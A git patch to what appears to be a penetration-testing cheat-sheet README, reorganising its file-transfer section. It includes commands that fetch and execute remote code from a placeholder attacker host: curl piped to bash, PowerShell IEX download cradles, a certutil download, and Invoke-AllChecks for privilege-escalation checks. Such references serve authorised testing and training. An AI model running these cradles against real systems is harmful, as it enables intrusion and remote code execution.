From ddfa12d371c6205a5b5ac70f2440862935319e19 Mon Sep 17 00:00:00 2001 From: Joe Totes <59018247+Totes5706@users.noreply.github.com> Date: Wed, 7 Sep 2022 11:09:24 -0400 Subject: [PATCH] Update README.md --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 3b68146..f0220f0 100644 --- a/README.md +++ b/README.md @@ -1386,15 +1386,15 @@ curl {IP ADDRESS}/{FILE} # Linux - Download file and execute in bash: curl {IP ADDRESS}/{FILE.sh} | bash -# Windows - Download file and execute in powershell: -powershell -c 'IEX(New-Object Net.WebClient).downloadstring("http://{IP ADDRESS}/{FILE}")' -powershell -c 'Invoke-AllChecks' - # Windows - Download file using certutil certutil -split -f -urlcache http://{IP ADDRESS}/{FILE} # Windows - Download file using powershell -powershell -c "(new-object System.Net.WebClient).DownloadFile('http://{IP ADDRESS}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}')" +IEX(new-object System.Net.WebClient).DownloadFile('http://{IP ADDRESS}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}') + +# Windows - Load a string file and execute in powershell: +IEX(New-Object Net.WebClient).downloadstring("http://{IP ADDRESS}/{FILE}") +Invoke-AllChecks # SMB SHARE UPLOAD FILE copy \\{IP ADDRESS}\share\{FILE}